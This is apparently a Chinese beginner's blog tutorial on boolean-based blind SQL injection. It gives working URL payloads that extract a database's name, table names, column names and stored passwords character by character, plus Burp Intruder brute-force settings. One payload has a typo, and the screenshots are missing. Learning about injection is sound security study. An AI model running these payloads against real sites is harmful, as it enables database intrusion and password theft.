布爾盲注初體驗

瞭解布爾盲注

布爾盲注的條件
布爾盲注在注入時不會顯示具體的信息,即沒有顯示位,只會返回對或者錯誤。
布爾盲注需要用到的幾個函數

length()函數可返回字符串的長度
substring()函數可以截取字符串,可指定開始的位置和截取的長度
ord()函數可以返回單個字符的ASCII碼
char()函數可將ASCII碼轉換爲對應的字符

在上面ord()也可以用ascii()來代替,效果一樣。

布爾盲注

1、判斷注入點
在這裏插入圖片描述
輸入" or 1=1#時顯示正確,刪除"時出現錯誤,說明閉合符號是 " 。
判斷數據庫長度

?id=1" or length(database7())>1 #

顯示正確
在這裏插入圖片描述接着就依次判斷,發現最後長度爲10.
爆數據庫長度

?id=1" or ascii(substr((database()),1,1))>65#
?id=1" or ord(substr((database()),1,1))>65#

上面兩種都可以用。用純手工的注入的話,需要一個一個判斷,很麻煩,所以可以利用brup進行爆破,再往上就是利用腳本了。本人技術很菜,所以就說一下怎樣用brup進行爆破吧。
利用brup進行爆破
在這裏插入圖片描述
先進行抓包,然後將包發送到intruder中
在這裏插入圖片描述
然後設置變量,由於變量是兩個,所以需要用第四個進行爆破。
在這裏插入圖片描述
兩個都設置爲Numbers型的,然後第一個從1開始,到10,依次增加1,第二個從0開始 依次增加1,到127結束。設置完成後就可以進行爆破了。
在這裏插入圖片描述
最後只需要觀察選出正確值就行了。
接下來就是爆出表名

?id=1" or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>65#

接着進行上面的爆破步驟就可以爆出來了。
通過修改 limit 0,1的值就可以爆出來不同的數據表名了。其中,limit 0,1指的是從第一列開始取一個值。
爆字段和值
爆字段

?id=1" or (ascii(substr((select column_name from information_schema.columns where table_name='user_1' limit 0,1),1,1)))>1#

爆值

?id=1" or (ascii(substr((select password from user_1 limit 0,1),1,1)))>1#

接着把brup爆破出來的數值轉換一下就可以得到了。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章